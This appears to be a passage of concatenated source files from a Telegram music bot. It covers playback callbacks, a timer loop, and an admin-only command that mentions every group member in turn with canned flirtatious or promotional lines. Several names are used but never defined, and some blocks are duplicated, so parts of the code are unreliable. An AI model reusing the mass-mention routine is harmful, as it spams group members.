            admin_id = _umm["admin_id"]
            admin_name = _umm["admin_name"]
            try:
                user = (await app.get_users(user_id)).first_name
                j += 1
            except:
                continue
            text += f"{j}➤ {user}[<code>{user_id}</code>]\n"
            text += f"   {_['auth_8']} {admin_name}[<code>{admin_id}</code>]\n\n"
        await mystic.edit_text(text, reply_markup=close_markup(_))


================================================
FILE: BrandrdXMusic/plugins/admins/callback.py
================================================
import asyncio

from pyrogram import filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup

from BrandrdXMusic import YouTube, app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.misc import SUDOERS, db
from BrandrdXMusic.utils.database import (
    get_active_chats,
    get_lang,
    get_upvote_count,
    is_active_chat,
    is_music_playing,
    is_nonadmin_chat,
    music_off,
    music_on,
    set_loop,
)
from BrandrdXMusic.utils.decorators.language import languageCB
from BrandrdXMusic.utils.formatters import seconds_to_min
from BrandrdXMusic.utils.inline import (
    close_markup,
    stream_markup,
    stream_markup_timer,
)
from BrandrdXMusic.utils.stream.autoclear import auto_clean
from BrandrdXMusic.utils.thumbnails import get_thumb
from config import (
    BANNED_USERS,
    SOUNCLOUD_IMG_URL,
    STREAM_IMG_URL,
    TELEGRAM_AUDIO_URL,
    TELEGRAM_VIDEO_URL,
    adminlist,
    confirmer,
    votemode,
)
from strings import get_string

checker = {}
upvoters = {}


@app.on_callback_query(filters.regex("ADMIN") & ~BANNED_USERS)
@languageCB
async def del_back_playlist(client, CallbackQuery, _):
    callback_data = CallbackQuery.data.strip()
    callback_request = callback_data.split(None, 1)[1]
    command, chat = callback_request.split("|")
    if "_" in str(chat):
        bet = chat.split("_")
        chat = bet[0]
        counter = bet[1]
    chat_id = int(chat)
    if not await is_active_chat(chat_id):
        return await CallbackQuery.answer(_["general_5"], show_alert=True)
    mention = CallbackQuery.from_user.mention
    if command == "UpVote":
        if chat_id not in votemode:
            votemode[chat_id] = {}
        if chat_id not in upvoters:
            upvoters[chat_id] = {}

        voters = (upvoters[chat_id]).get(CallbackQuery.message.id)
        if not voters:
            upvoters[chat_id][CallbackQuery.message.id] = []

        vote = (votemode[chat_id]).get(CallbackQuery.message.id)
        if not vote:
            votemode[chat_id][CallbackQuery.message.id] = 0

        if CallbackQuery.from_user.id in upvoters[chat_id][CallbackQuery.message.id]:
            (upvoters[chat_id][CallbackQuery.message.id]).remove(
                CallbackQuery.from_user.id
            )
            votemode[chat_id][CallbackQuery.message.id] -= 1
        else:
            (upvoters[chat_id][CallbackQuery.message.id]).append(
                CallbackQuery.from_user.id
            )
            votemode[chat_id][CallbackQuery.message.id] += 1
        upvote = await get_upvote_count(chat_id)
        get_upvotes = int(votemode[chat_id][CallbackQuery.message.id])
        if get_upvotes >= upvote:
            votemode[chat_id][CallbackQuery.message.id] = upvote
            try:
                exists = confirmer[chat_id][CallbackQuery.message.id]
                current = db[chat_id][0]
            except:
                return await CallbackQuery.edit_message_text(f"ғᴀɪʟᴇᴅ.")
            try:
                if current["vidid"] != exists["vidid"]:
                    return await CallbackQuery.edit_message.text(_["admin_35"])
                if current["file"] != exists["file"]:
                    return await CallbackQuery.edit_message.text(_["admin_35"])
            except:
                return await CallbackQuery.edit_message_text(_["admin_36"])
            try:
                await CallbackQuery.edit_message_text(_["admin_37"].format(upvote))
            except:
                pass
            command = counter
            mention = "ᴜᴘᴠᴏᴛᴇs"
        else:
            if (
                CallbackQuery.from_user.id
                in upvoters[chat_id][CallbackQuery.message.id]
            ):
                await CallbackQuery.answer(_["admin_38"], show_alert=True)
            else:
                await CallbackQuery.answer(_["admin_39"], show_alert=True)
            upl = InlineKeyboardMarkup(
                [
                    [
                        InlineKeyboardButton(
                            text=f"👍 {get_upvotes}",
                            callback_data=f"ADMIN  UpVote|{chat_id}_{counter}",
                        )
                    ]
                ]
            )
            await CallbackQuery.answer(_["admin_40"], show_alert=True)
            return await CallbackQuery.edit_message_reply_markup(reply_markup=upl)
    else:
        is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)
        if not is_non_admin:
            if CallbackQuery.from_user.id not in SUDOERS:
                admins = adminlist.get(CallbackQuery.message.chat.id)
                if not admins:
                    return await CallbackQuery.answer(_["admin_13"], show_alert=True)
                else:
                    if CallbackQuery.from_user.id not in admins:
                        return await CallbackQuery.answer(
                            _["admin_14"], show_alert=True
                        )
    if command == "Pause":
        if not await is_music_playing(chat_id):
            return await CallbackQuery.answer(_["admin_1"], show_alert=True)
        await CallbackQuery.answer()
        await music_off(chat_id)
        await Hotty.pause_stream(chat_id)
        await CallbackQuery.message.reply_text(
            _["admin_2"].format(mention), reply_markup=close_markup(_)
        )
    elif command == "Resume":
        if await is_music_playing(chat_id):
            return await CallbackQuery.answer(_["admin_3"], show_alert=True)
        await CallbackQuery.answer()
        await music_on(chat_id)
        await Hotty.resume_stream(chat_id)
        await CallbackQuery.message.reply_text(
            _["admin_4"].format(mention), reply_markup=close_markup(_)
        )
    elif command == "Stop" or command == "End":
        await CallbackQuery.answer()
        await Hotty.stop_stream(chat_id)
        await set_loop(chat_id, 0)
        await CallbackQuery.message.reply_text(
            _["admin_5"].format(mention), reply_markup=close_markup(_)
        )
        await CallbackQuery.message.delete()
    elif command == "Skip" or command == "Replay":
        check = db.get(chat_id)
        if command == "Skip":
            txt = f"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀"
            popped = None
            try:
                popped = check.pop(0)
                if popped:
                    await auto_clean(popped)
                if not check:
                    await CallbackQuery.edit_message_text(
                        f"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀"
                    )
                    await CallbackQuery.message.reply_text(
                        text=_["admin_6"].format(
                            mention, CallbackQuery.message.chat.title
                        ),
                        reply_markup=close_markup(_),
                    )
                    try:
                        return await Hotty.stop_stream(chat_id)
                    except:
                        return
            except:
                try:
                    await CallbackQuery.edit_message_text(
                        f"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀"
                    )
                    await CallbackQuery.message.reply_text(
                        text=_["admin_6"].format(
                            mention, CallbackQuery.message.chat.title
                        ),
                        reply_markup=close_markup(_),
                    )
                    return await Hotty.stop_stream(chat_id)
                except:
                    return
        else:
            txt = f"➻ sᴛʀᴇᴀᴍ ʀᴇ-ᴘʟᴀʏᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀"
        await CallbackQuery.answer()
        queued = check[0]["file"]
        title = (check[0]["title"]).title()
        user = check[0]["by"]
        duration = check[0]["dur"]
        streamtype = check[0]["streamtype"]
        videoid = check[0]["vidid"]
        status = True if str(streamtype) == "video" else None
        db[chat_id][0]["played"] = 0
        exis = (check[0]).get("old_dur")
        if exis:
            db[chat_id][0]["dur"] = exis
            db[chat_id][0]["seconds"] = check[0]["old_second"]
            db[chat_id][0]["speed_path"] = None
            db[chat_id][0]["speed"] = 1.0
        if "live_" in queued:
            n, link = await YouTube.video(videoid, True)
            if n == 0:
                return await CallbackQuery.message.reply_text(
                    text=_["admin_7"].format(title),
                    reply_markup=close_markup(_),
                )
            try:
                image = await YouTube.thumbnail(videoid, True)
            except:
                image = None
            try:
                await Hotty.skip_stream(chat_id, link, video=status, image=image)
            except:
                return await CallbackQuery.message.reply_text(_["call_6"])
            button = stream_markup2(_, chat_id)
            img = await get_thumb(videoid)
            run = await CallbackQuery.message.reply_photo(
                photo=img,
                caption=_["stream_1"].format(
                    f"https://t.me/{app.username}?start=info_{videoid}",
                    title[:23],
                    duration,
                    user,
                ),
                reply_markup=InlineKeyboardMarkup(button),
            )
            db[chat_id][0]["mystic"] = run
            db[chat_id][0]["markup"] = "tg"
            await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))
        elif "vid_" in queued:
            mystic = await CallbackQuery.message.reply_text(
                _["call_7"], disable_web_page_preview=True
            )
            try:
                file_path, direct = await YouTube.download(
                    videoid,
                    mystic,
                    videoid=True,
                    video=status,
                )
            except:
                return await mystic.edit_text(_["call_6"])
            try:
                image = await YouTube.thumbnail(videoid, True)
            except:
                image = None
            try:
                await Hotty.skip_stream(chat_id, file_path, video=status, image=image)
            except:
                return await mystic.edit_text(_["call_6"])
            button = stream_markup(_, videoid, chat_id)
            img = await get_thumb(videoid)
            run = await CallbackQuery.message.reply_photo(
                photo=img,
                caption=_["stream_1"].format(
                    f"https://t.me/{app.username}?start=info_{videoid}",
                    title[:23],
                    duration,
                    user,
                ),
                reply_markup=InlineKeyboardMarkup(button),
            )
            db[chat_id][0]["mystic"] = run
            db[chat_id][0]["markup"] = "stream"
            await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))
            await mystic.delete()
        elif "index_" in queued:
            try:
                await Hotty.skip_stream(chat_id, videoid, video=status)
            except:
                return await CallbackQuery.message.reply_text(_["call_6"])
            button = stream_markup2(_, chat_id)
            run = await CallbackQuery.message.reply_photo(
                photo=STREAM_IMG_URL,
                caption=_["stream_2"].format(user),
                reply_markup=InlineKeyboardMarkup(button),
            )
            db[chat_id][0]["mystic"] = run
            db[chat_id][0]["markup"] = "tg"
            await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))
        else:
            if videoid == "telegram":
                image = None
            elif videoid == "soundcloud":
                image = None
            else:
                try:
                    image = await YouTube.thumbnail(videoid, True)
                except:
                    image = None
            try:
                await Hotty.skip_stream(chat_id, queued, video=status, image=image)
            except:
                return await CallbackQuery.message.reply_text(_["call_6"])
            if videoid == "telegram":
                button = stream_markup2(_, chat_id)
                run = await CallbackQuery.message.reply_photo(
                    photo=TELEGRAM_AUDIO_URL
                    if str(streamtype) == "audio"
                    else TELEGRAM_VIDEO_URL,
                    caption=_["stream_1"].format(
                        config.SUPPORT_CHAT, title[:23], duration, user
                    ),
                    reply_markup=InlineKeyboardMarkup(button),
                )
                db[chat_id][0]["mystic"] = run
                db[chat_id][0]["markup"] = "tg"
            elif videoid == "soundcloud":
                button = stream_markup2(_, chat_id)
                run = await CallbackQuery.message.reply_photo(
                    photo=SOUNCLOUD_IMG_URL
                    if str(streamtype) == "audio"
                    else TELEGRAM_VIDEO_URL,
                    caption=_["stream_1"].format(
                        config.SUPPORT_CHAT, title[:23], duration, user
                    ),
                    reply_markup=InlineKeyboardMarkup(button),
                )
                db[chat_id][0]["mystic"] = run
                db[chat_id][0]["markup"] = "tg"
            else:
                button = stream_markup(_, videoid, chat_id)
                img = await get_thumb(videoid)
                run = await CallbackQuery.message.reply_photo(
                    photo=img,
                    caption=_["stream_1"].format(
                        f"https://t.me/{app.username}?start=info_{videoid}",
                        title[:23],
                        duration,
                        user,
                    ),
                    reply_markup=InlineKeyboardMarkup(button),
                )
                db[chat_id][0]["mystic"] = run
                db[chat_id][0]["markup"] = "stream"
            await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))


async def markup_timer():
    while not await asyncio.sleep(1):
        active_chats = await get_active_chats()
        for chat_id in active_chats:
            try:
                if not await is_music_playing(chat_id):
                    continue
                playing = db.get(chat_id)
                if not playing:
                    continue
                duration_seconds = int(playing[0]["seconds"])
                if duration_seconds == 0:
                    continue
                try:
                    mystic = playing[0]["markup"]
                except:
                    continue
                try:
                    check = checker[chat_id][mystic.id]
                    if check is False:
                        continue
                except:
                    pass
                try:
                    language = await get_lang(chat_id)
                    _ = get_string(language)
                except:
                    _ = get_string("en")
                try:
                    mystic = playing[0]["mystic"]
                    markup = playing[0]["markup"]
                except:
                    continue
                try:
                    check = wrong[chat_id][mystic.id]
                    if check is False:
                        continue
                except:
                    pass
                try:
                    language = await get_lang(chat_id)
                    _ = get_string(language)
                except:
                    _ = get_string("en")
                try:
                    mystic = playing[0]["mystic"]
                    markup = playing[0]["markup"]
                except:
                    continue
                try:
                    check = wrong[chat_id][mystic.id]
                    if check is False:
                        continue
                except:
                    pass
                try:
                    language = await get_lang(chat_id)
                    _ = get_string(language)
                except:
                    _ = get_string("en")
                try:
                    buttons = (
                        stream_markup_timer(
                            _,
                            playing[0]["vidid"],
                            chat_id,
                            seconds_to_min(playing[0]["played"]),
                            playing[0]["dur"],
                        )
                        if markup == "stream"
                        else stream_markup_timer2(
                            _,
                            chat_id,
                            seconds_to_min(playing[0]["played"]),
                            playing[0]["dur"],
                        )
                    )
                    await mystic.edit_reply_markup(
                        reply_markup=InlineKeyboardMarkup(buttons)
                    )
                except:
                    continue
            except:
                continue


asyncio.create_task(markup_timer())


================================================
FILE: BrandrdXMusic/plugins/admins/entag.py
================================================
from BrandrdXMusic import app 
import asyncio
import random
from pyrogram import Client, filters
from pyrogram.enums import ChatType, ChatMemberStatus
from pyrogram.errors import UserNotParticipant
from pyrogram.types import ChatPermissions

spam_chats = []

EMOJI = [ "🦋🦋🦋🦋🦋",
          "🧚🌸🧋🍬🫖",
          "🥀🌷🌹🌺💐",
          "🌸🌿💮🌱🌵",
          "❤️💚💙💜🖤",
          "💓💕💞💗💖",
          "🌸💐🌺🌹🦋",
          "🍔🦪🍛🍲🥗",
          "🍎🍓🍒🍑🌶️",
          "🧋🥤🧋🥛🍷",
          "🍬🍭🧁🎂🍡",
          "🍨🧉🍺☕🍻",
          "🥪🥧🍦🍥🍚",
          "🫖☕🍹🍷🥛",
          "☕🧃🍩🍦🍙",
          "🍁🌾💮🍂🌿",
          "🌨️🌥️⛈️🌩️🌧️",
          "🌷🏵️🌸🌺💐",
          "💮🌼🌻🍀🍁",
          "🧟🦸🦹🧙👸",
          "🧅🍠🥕🌽🥦",
          "🐷🐹🐭🐨🐻‍❄️",
          "🦋🐇🐀🐈🐈‍⬛",
          "🌼🌳🌲🌴🌵",
          "🥩🍋🍐🍈🍇",
          "🍴🍽️🔪🍶🥃",
          "🕌🏰🏩⛩️🏩",
          "🎉🎊🎈🎂🎀",
          "🪴🌵🌴🌳🌲",
          "🎄🎋🎍🎑🎎",
          "🦅🦜🕊️🦤🦢",
          "🦤🦩🦚🦃🦆",
          "🐬🦭🦈🐋🐳",
          "🐔🐟🐠🐡🦐",
          "🦩🦀🦑🐙🦪",
          "🐦🦂🕷️🕸️🐚",
          "🥪🍰🥧🍨🍨",
          " 🥬🍉🧁🧇",
        ]

TAGMES = [ " **※ ɪ ʟᴏᴠᴇ ʏᴏᴜ...ᰔᩚ**",
           " **※ ғᴏʀɢᴇᴛ ᴍᴇ..ᰔᩚ",
           " **※ ɪ ᴅᴏɴ'ᴛ ʟᴏᴠᴇ ʏᴏᴜ...ᰔᩚ**",
           " **※ ᴍᴀᴋᴇ ɪᴛ ʏᴏᴜʀs ᴘɪʏᴀ, ᴍᴀᴋᴇ ɪᴛ ʏᴏᴜʀs...ᰔᩚ**",
           " **※ ᴊᴏɪɴ ᴍʏ ɢʀᴏᴜᴘ ᴀʟsᴏ...ᰔᩚ**",
           " **※ ɪ ᴋᴇᴘᴛ ʏᴏᴜʀ ɴᴀᴍᴇ ɪɴ ᴍʏ ʜᴇᴀʀᴛ...ᰔᩚ**",
           " **※ ᴡʜᴇʀᴇ ᴀʀᴇ ᴀʟʟ ʏᴏᴜʀ ғʀɪᴇɴᴅs...ᰔᩚ**",
           " **※ ɪɴ ᴡʜᴏsᴇ ᴍᴇᴍᴏʀʏ ᴀʀᴇ ʏᴏᴜ ʟᴏsᴛ ᴍʏ ʟᴏᴠᴇ...ᰔᩚ**",
           " **※ ᴡʜᴀᴛs ʏᴏᴜʀ ᴘʀᴏғᴇssɪᴏɴ...ᰔᩚ**",
           " **※ ᴡʜᴇʀᴇ ᴅɪᴅ ʏᴏᴜ ʟɪᴠᴇ...ᰔᩚ**",
           " **※ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ʙᴀʙʏ...ᰔᩚ**",
           " **※ ɢᴏᴏᴅ ɴɪɢʜᴛ, ɪᴛ's ᴠᴇʀʏ ʟᴀᴛᴇ...ᰔᩚ**",
           " **※ ɪ ғᴇᴇʟ ᴠᴇʀʏ sᴀᴅ ᴛᴏᴅᴀʏ...ᰔᩚ**",
           " **※ ᴛᴀʟᴋ ᴛᴏ ᴍᴇ ᴛᴏᴏ...ᰔᩚ**",
           " **※ ᴡʜᴀᴛ's ғᴏʀ ᴅɪɴɴᴇʀ ᴛᴏᴅᴀʏ...ᰔᩚ**",
           " **※ ᴡʜᴀᴛ's ɢᴏɪɴɢ ᴏɴ...ᰔᩚ**",
           " **※ ᴡʜʏ ᴅᴏɴ'ᴛ ʏᴏᴜ ᴍᴇssᴀɢᴇ...ᰔᩚ**",
           " **※ ɪ ᴀᴍ ɪɴɴᴏᴄᴇɴᴛ...ᰔᩚ**",
           " **※ ɪᴛ ᴡᴀs ғᴜɴ ʏᴇsᴛᴇʀᴅᴀʏ, ᴡᴀsɴ'ᴛ ɪᴛ...ᰔᩚ**",
           " **※ ᴡʜᴇʀᴇ ᴡᴇʀᴇ ʏᴏᴜ ʙᴜsʏ ʏᴇsᴛᴇʀᴅᴀʏ...ᰔᩚ**",
           " **※ ʏᴏᴜ ʀᴇᴍᴀɪɴ sᴏ ᴄᴀʟᴍ ғʀɪᴇɴᴅ...ᰔᩚ**",
           " **※ ᴅᴏ ʏᴏᴜ ᴋɴᴏᴡ ʜᴏᴡ ᴛᴏ sɪɴɢ, sɪɴɢ...ᰔᩚ**",
           " **※ ᴡɪʟʟ ʏᴏᴜ ᴄᴏᴍᴇ ғᴏʀ ᴀ ᴡᴀʟᴋ ᴡɪᴛʜ ᴍᴇ...ᰔᩚ**",
           " **※ ᴀʟᴡᴀʏs ʙᴇ ʜᴀᴘᴘʏ ғʀɪᴇɴᴅ...ᰔᩚ**",
           " **※ ᴄᴀɴ ᴡᴇ ʙᴇ ғʀɪᴇɴᴅs...ᰔᩚ**",
           " **※ ᴀʀᴇ ʏᴏᴜ ᴍᴀʀʀɪᴇᴅ...ᰔᩚ**",
           " **※ ᴡʜᴇʀᴇ ʜᴀᴠᴇ ʏᴏᴜ ʙᴇᴇɴ ʙᴜsʏ ғᴏʀ sᴏ ᴍᴀɴʏ ᴅᴀʏs...ᰔᩚ**",
           " **※ ʟɪɴᴋ ɪs ɪɴ ʙɪᴏ, ᴛᴏ ᴊᴏɪɴ ɴᴏᴡ...ᰔᩚ**",
           " **※ ʜᴀᴅ ғᴜɴ...ᰔᩚ**",
           " **※ ᴅᴏ ʏᴏᴜ ᴋɴᴏᴡ ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ ᴛʜɪs ɢʀᴏᴜᴘ...ᰔᩚ**",
           " **※ ᴅᴏ ʏᴏᴜ ᴇᴠᴇʀ ʀᴇᴍᴇᴍʙᴇʀ ᴍᴇ...ᰔᩚ**",
           " **※ ʟᴇᴛ's ᴘᴀʀᴛʏ...ᰔᩚ**",
           " **※ ʜᴏᴡ ᴄᴏᴍᴇ ᴛᴏᴅᴀʏ...ᰔᩚ**",
           " **※ ʟɪsᴛᴇɴ ᴍᴇ...ᰔᩚ**",
           " **※ ʜᴏᴡ ᴡᴀs ʏᴏᴜʀ ᴅᴀʏ...ᰔᩚ**",
           " **※ ᴅɪᴅ ʏᴏᴜ sᴇᴇ...ᰔᩚ**",
           " **※ ᴀʀᴇ ʏᴏᴜ ᴛʜᴇ ᴀᴅᴍɪɴ ʜᴇʀᴇ...ᰔᩚ**",
           " **※ ᴀʀᴇ ʏᴏᴜ ɪɴ ʀᴇʟᴀᴛɪᴏɴsʜɪᴘ...ᰔᩚ**",
           " **※ ᴀɴᴅ ʜᴏᴡ ɪs ᴛʜᴇ ᴘʀɪsᴏɴᴇʀ...ᰔᩚ**",
           " **※ sᴀᴡ ʏᴏᴜ ʏᴇsᴛᴇʀᴅᴀʏ...ᰔᩚ**",
           " **※ ᴡʜᴇʀᴇ ᴀʀᴇ ʏᴏᴜ ғʀᴏᴍ...ᰔᩚ**",
           " **※ ᴀʀᴇ ʏᴏᴜ ᴏɴʟɪɴᴇ...ᰔᩚ**",
           " **※ ᴡʜᴀᴛ ᴅᴏ ʏᴏᴜ ʟɪᴋᴇ ᴛᴏ ᴇᴀᴛ...ᰔᩚ**",
           " **※ ᴀᴅᴅ ᴍᴇ ᴛᴏ ʏᴏᴜʀ ɢʀᴏᴜᴘ, ɪ ᴡɪʟʟ ᴘʟᴀʏ ᴍᴜsɪᴄ ᴀɴᴅ ᴛᴀɢ ᴇᴠᴇʀʏᴏɴᴇ...ᰔᩚ**",
           " **※ ᴡɪʟʟ ʏᴏᴜ ᴘʟᴀʏ ᴛʀᴜᴛʜ ᴀɴᴅ ᴅᴀʀᴇ...ᰔᩚ**",
           " **※ ᴡʜᴀᴛs ʜᴀᴘᴘᴇɴᴇᴅ ᴛᴏ ʏᴏᴜ...ᰔᩚ**",
           " **※ ᴅᴏ ʏᴏᴜ ᴡᴀɴɴᴀ ᴇᴀᴛ ᴄʜᴏᴄᴏʟᴀᴛᴇ...ᰔᩚ**",
           " **※ ʜᴇʟʟᴏ ʙᴀʙʏ...ᰔᩚ**",
           " **※ ᴅᴏ ᴄʜᴀᴛᴛɪɴɢ ᴡɪᴛʜ ᴍᴇ...ᰔᩚ**",
           " **※ ᴡʜᴀᴛ ᴅᴏ ʏᴏᴜ sᴀʏ...ᰔᩚ**",
           " **※ ɢɪᴠᴇ ᴍᴇ ʏᴏᴜʀ ᴡʜᴀᴛsᴀᴘᴘ ɴᴜᴍʙᴇʀ ᴘʟᴇᴀsᴇ...ᰔᩚ**"
           ]

VC_TAG = [" **⚘ আমাকে ভুলে যাও...💥**",
         " **⚘ আমি তোমাকে ভালোবাসি না...💥**",
         " **⚘ এটাকে তোমার করো পিয়া, তোমার করো...💥**",
         " **⚘ আমার গ্রুপেও যোগ দিন...💥**",
         " **⚘ আমি হৃদয়ে তোমার নাম রেখেছি...💥**",
         " **⚘ তোমার সব বন্ধু কোথায়...💥**",
         " **⚘ কার স্মৃতিতে তুমি হারিয়ে গেছো আমার ভালোবাসা...💥**",
         " **⚘ তোমার পেশা কি...💥**",
         " **⚘ তুমি কোথায় থাকো...💥**",
         " **⚘ শুভ সকাল, বাবু...💥**",
         " **⚘ শুভ রাত্রি, অনেক দেরি হয়ে গেছে...💥**",
         " **⚘ আমার আজ খুব খারাপ লাগছে...💥**",
         " **⚘ আমার সাথেও কথা বল...💥**",
         " **⚘ আজ রাতের খাবারের জন্য কি...💥**",
         " **⚘ কি হচ্ছে...💥**",
         " **⚘ তুমি মেসেজ দাও না কেন...💥**",
         " **⚘ আমি নির্দোষ...💥**",
         " **⚘ এটা গতকাল মজা ছিল, তাই না...💥**",
         " **⚘ তুমি গতকাল কোথায় ব্যস্ত ছিলে...💥**",
         " **⚘ তুমি কি সম্পর্কে আছো...💥**",
         " **⚘ তুমি খুব শান্ত থাকো বন্ধু...💥**",
         " **⚘ তুমি কি গাইতে জানো, গাইতে...💥**",
         " **⚘ তুমি কি আমার সাথে বেড়াতে আসবে...💥**",
         " **⚘ সবসময় হাসিখুশি থেকো বন্ধু...💥**",
         " **⚘ আমরা কি বন্ধু হতে পারি...💥**",
         " **⚘ তুমি কি বিবাহিত...💥**",
         " **⚘ এত দিন কোথায় ব্যস্ত ছিলে...💥**",
         " **⚘ লিঙ্ক বায়োতে আছে, এখন যোগ দিতে...💥**",
         " **⚘ মজা করলাম...💥**",
         " **⚘ আপনি কি এই গ্রুপের মালিককে চেনেন...💥**",
         " **⚘ তোমার কি কখনো মনে পড়ে আমায়...💥**",
         " **⚘ চলো পার্টি করি...💥**",
         " **⚘ আজ কেমন এলো...💥**",
         " **⚘ কেমন কাটলো তোমার দিন...💥**",
         " **⚘ তুমি কি দেখেছো...💥**",
         " **⚘ আপনি কি এখানকার প্রশাসক...💥**",
         " **⚘ আমরা বন্ধু হতে পারি...💥**",
         " **⚘ তুমি কি সম্পর্কে আছো...💥**",
         " **⚘ আর বন্দী কেমন আছে...💥**",
         " **⚘ তোমাকে গতকাল দেখেছি...💥**",
         " **⚘ তুমি কোথা থেকে...💥**",
         " **⚘ আপনি কি অনলাইনে আছেন...💥**",
         " **⚘ তুমি কি আমার বন্ধু....💥**",
         " **⚘ তুমি কি খেতে পছন্দ কর...💥**",
         " **⚘ আমাকে আপনার গ্রুপে অ্যাড করুন, আমি গান বাজিয়ে সবাইকে ট্যাগ করব....💥**",
         " **⚘ আজ আমি দুঃখিত...💥**",
         " **⚘ তুমি কি সত্য খেলবে এবং সাহস করবে...💥**",
         " **⚘ তোমার মত বন্ধু থাকলে চিন্তার কি আছে...💥**",
         " **⚘ কি হয়েছে তোমার...💥**",
         " **⚘ তুমি কি চকলেট খেতে চাও....💥**",
         " **⚘ হ্যালো বাবু...💥**",
         " **⚘ আমার সাথে চ্যাট করো...💥**",
         " **⚘ তুমি কি বলো...💥**"
        ]


@app.on_message(filters.command(["entag", "englishtag" ], prefixes=["/", "@", "#"]))
async def mentionall(client, message):
    chat_id = message.chat.id
    if message.chat.type == ChatType.PRIVATE:
        return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.")

    is_admin = False
    try:
        participant = await client.get_chat_member(chat_id, message.from_user.id)
    except UserNotParticipant:
        is_admin = False
    else:
        if participant.status in (
            ChatMemberStatus.ADMINISTRATOR,
            ChatMemberStatus.OWNER
        ):
            is_admin = True
    if not is_admin:
        return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ")

    if message.reply_to_message and message.text:
        return await message.reply("/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...")
    elif message.text:
        mode = "text_on_cmd"
        msg = message.text
    elif message.reply_to_message:
        mode = "text_on_reply"
        msg = message.reply_to_message
        if not msg:
            return await message.reply("/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ғᴏᴛ ᴛᴀɢɢɪɴɢ...")
    else:
        return await message.reply("/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...")
    if chat_id in spam_chats:
        return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...")
    spam_chats.append(chat_id)
    usrnum = 0
    usrtxt = ""
    async for usr in client.get_chat_members(chat_id):
        if not chat_id in spam_chats:
            break
        if usr.user.is_bot:
            continue
        usrnum += 1
        usrtxt += "<a href='tg://user?id={}'>{}</a>".format(usr.user.id, usr.user.first_name)

        if usrnum == 1:
            if mode == "text_on_cmd":
                txt = f"{usrtxt} {random.choice(TAGMES)}"
                await client.send_message(chat_id, txt)
            elif mode == "text_on_reply":
                await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
            await asyncio.sleep(4)
            usrnum = 0
            usrtxt = ""
    try:
        spam_chats.remove(chat_id)
    except:
        pass


@app.on_message(filters.command(["bntag"], prefixes=["/", "@", "#"]))
async def mention_allvc(client, message):
    chat_id = message.chat.id
    if message.chat.type == ChatType.PRIVATE:
        return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.")

    is_admin = False
    try:
        participant = await client.get_chat_member(chat_id, message.from_user.id)
    except UserNotParticipant:
        is_admin = False
    else:
        if participant.status in (
            ChatMemberStatus.ADMINISTRATOR,
            ChatMemberStatus.OWNER
        ):
            is_admin = True
    if not is_admin:
        return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ")
    if chat_id in spam_chats:
        return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...")
    spam_chats.append(chat_id)
    usrnum = 0
    usrtxt = ""
    async for usr in client.get_chat_members(chat_id):
        if not chat_id in spam_chats:
            break
        if usr.user.is_bot:
            continue
        usrnum += 1
        usrtxt += "<a href='tg://user?id={}'>{}</a>".format(usr.user.id, usr.user.first_name)

        if usrnum == 1:
            txt = f"{usrtxt} {random.choice(VC_TAG)}"
            await client.send_message(chat_id, txt)
            await asyncio.sleep(4)
            usrnum = 0
            usrtxt = ""
    try:
        spam_chats.remove(chat_id)
    except:
        pass



@app.on_message(filters.command(["cancel", "enstop", "bnstop"]))
async def cancel_spam(client, message):
    if not message.chat.id in spam_chats:
        return await message.reply("๏ ᴄᴜʀʀᴇɴᴛʟʏ ɪ'ᴍ ɴᴏᴛ ᴛᴀɢɢɪɴɢ ʙᴀʙʏ.")
    is_admin = False
    try:
        participant = await client.get_chat_member(message.chat.id, message.from_user.id)
